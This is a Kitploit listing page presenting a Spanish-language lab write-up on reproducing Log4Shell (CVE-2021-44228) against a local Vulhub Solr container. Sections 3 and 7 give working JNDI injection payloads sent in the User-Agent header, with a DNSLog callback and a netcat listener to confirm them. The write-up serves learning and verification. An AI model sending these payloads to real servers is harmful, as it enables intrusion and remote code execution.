Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Log4Shell-Vulnerability-Replication — Registro completo de la reproducción de la vulnerabilidad CVE-2021-44228 (incluye configuración del entorno y verificación de la activación) | Kitploit
Herramientas/GitHubGitHub/hmxh123/log4shell-vulnerability-replication
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubhmxh123/log4shell-vulnerability-replication

Log4Shell-Vulnerability-Replication

Registro completo de la reproducción de la vulnerabilidad CVE-2021-44228 (incluye configuración del entorno y verificación de la activación)

Ver Repositorio
3hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-44228 (Log4Shell): Registro completo de la reproducción de la vulnerabilidad

Este registro se basa en el laboratorio Apache Solr 8.11.0 proporcionado por Vulhub, reproduce por completo la vulnerabilidad de inyección JNDI de Log4j2 y verifica la existencia de la vulnerabilidad mediante DNSLog y la escucha LDAP local.

1. Entorno experimental

  • Sistema operativo: Windows 11 + WSL2 (Ubuntu)
  • Plataforma de contenedores: Docker Desktop 4.76
  • Fuente del laboratorio: Vulhub (vulhub/log4j/CVE-2021-44228)
  • Servicio objetivo: Apache Solr 8.11.0 (con log4j-core 2.14.1)
  • Máquina atacante: host local (actúa como cliente DNSLog y extremo de escucha LDAP)

2. Proceso de configuración del entorno

2.1 Obtener el código fuente de Vulhub

Dado que la conexión directa a GitHub es inestable, se utiliza el espejo de Gitee para acelerar:

root@kitploit:~

cd D:\\SecWork

git clone https://gitee.com/hanxu2486/vulhub.git

2.2 Solucionar el problema de extracción de imágenes de Docker en la red china

Configurar el acelerador de imágenes exclusivo de Alibaba Cloud (inicie sesión en el servicio de imágenes de contenedores para obtener su dirección personal):

Abra Docker Desktop → Settings → Docker Engine

Modifique registry-mirrors:

root@kitploit:~
{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}

Haga clic en Apply & Restart

Si aún se produce un tiempo de espera del protocolo de enlace TLS, entre a WSL y ejecute sudo hwclock -s para sincronizar la hora.

2.3 Iniciar el contenedor Solr

root@kitploit:~
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d

La salida muestra el éxito:

root@kitploit:~
✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started

Al visitar http://localhost:8983/solr aparece la interfaz de administración de Solr; el entorno está listo.

3. Pasos para reproducir la vulnerabilidad

3.1 Crear un Core de prueba

Solr no tiene ningún core por defecto; debe crearse manualmente:

root@kitploit:~
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

Devuelve "status":0; el core test se creó correctamente.

3.2 Usar DNSLog para detectar la existencia de la vulnerabilidad

Abra el navegador y visite http://dnslog.cn, haga clic en Get SubDomain y obtenga un dominio temporal, por ejemplo abc123.dnslog.cn

Ejecute en la línea de comandos (use curl.exe para evitar la interferencia de los alias de PowerShell):

root@kitploit:~
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Vuelva a la página http://dnslog.cn, haga clic en Refresh Record y aparecerá inmediatamente el registro de resolución DNS, lo que demuestra que la vulnerabilidad existe.

3.3 Verificación mediante escucha local (verificación en profundidad)

Inicie la escucha en WSL: nc -lvp 1389

Obtenga la IP del host (ejecute ipconfig en Windows PowerShell y encuentre la IP de la tarjeta de red virtual de WSL, por ejemplo 172.30.208.1)

Envíe una solicitud maliciosa con la IP local:

root@kitploit:~
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

Observe la ventana de nc; se muestra la información de conexión:

root@kitploit:~
connect to [172.30.208.1] from localhost [127.0.0.1] 54321

Esto demuestra que Solr inició correctamente una consulta LDAP hacia la máquina atacante y que la reproducción de la vulnerabilidad fue exitosa.

4. Breve explicación del principio de la vulnerabilidad

La función JndiLookup proporcionada por Apache Log4j2 permite el uso de marcadores de posición con el formato ${jndi:ldap://...} en los mensajes de registro. Cuando se registra un mensaje de log, Log4j2 analiza el marcador e intenta acceder a un servidor LDAP remoto mediante JNDI. Un atacante puede montar un servidor LDAP malicioso que devuelva un payload de deserialización de Java, logrando así la ejecución remota de código.

En esta reproducción, al establecer el encabezado User-Agent como payload malicioso, Solr registró esa cabecera al procesar la solicitud, lo que desencadenó la consulta JNDI y demostró la existencia de la vulnerabilidad.

5. Resumen de los resultados del experimento

✅ Se construyó con éxito el entorno de vulnerabilidad de Vulhub, superando varios problemas de la red china (secuestro de DNS, aceleración de espejos, sincronización horaria de WSL, etc.).

✅ Se completó de forma independiente la activación de la vulnerabilidad, verificando la inyección JNDI mediante DNSLog y la escucha local.

✅ Se comprendió en profundidad el principio de la vulnerabilidad Log4Shell y la cadena de ataque de la inyección JNDI.

✅ Se acumuló experiencia práctica en la resolución de problemas de red de Docker, configuración de WSL2, limpieza de proxy de Git, etc.

6. Resumen de la experiencia en resolución de problemas

Síntoma del problemaCausa raízSolución
git clone 502 / tiempo de conexión agotadoSecuestro de DNS / interferencia de proxyUsar el espejo de Gitee, limpiar el proxy de Git y refrescar el DNS
Extracción de imágenes Docker 429Limitación de velocidad en la fuente pública de imágenesConfigurar el acelerador exclusivo de Alibaba Cloud
TLS handshake timeoutDesincronización horaria de WSL2sudo hwclock -s sincronizar la hora
La vulnerabilidad no se puede activarCore no creado o ubicación incorrecta del payloadCrear el core y usar el encabezado User-Agent

7. Lista completa de comandos

root@kitploit:~
# 克隆 Vulhub(使用 Gitee 镜像)
git clone https://gitee.com/hanxu2486/vulhub.git

# 进入漏洞目录
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# 启动环境
docker-compose up -d

# 创建 Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# DNSLog 验证
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# 本地监听验证(WSL 中运行 nc)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# 关闭环境
docker-compose down

8. Enlaces de referencia

Proyecto oficial de Vulhub

Detalles de CVE-2021-44228

Plataforma DNSLog

Fecha de redacción: junio de 2026 Autor: HanXu Dirección del repositorio: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication

Descargar herramienta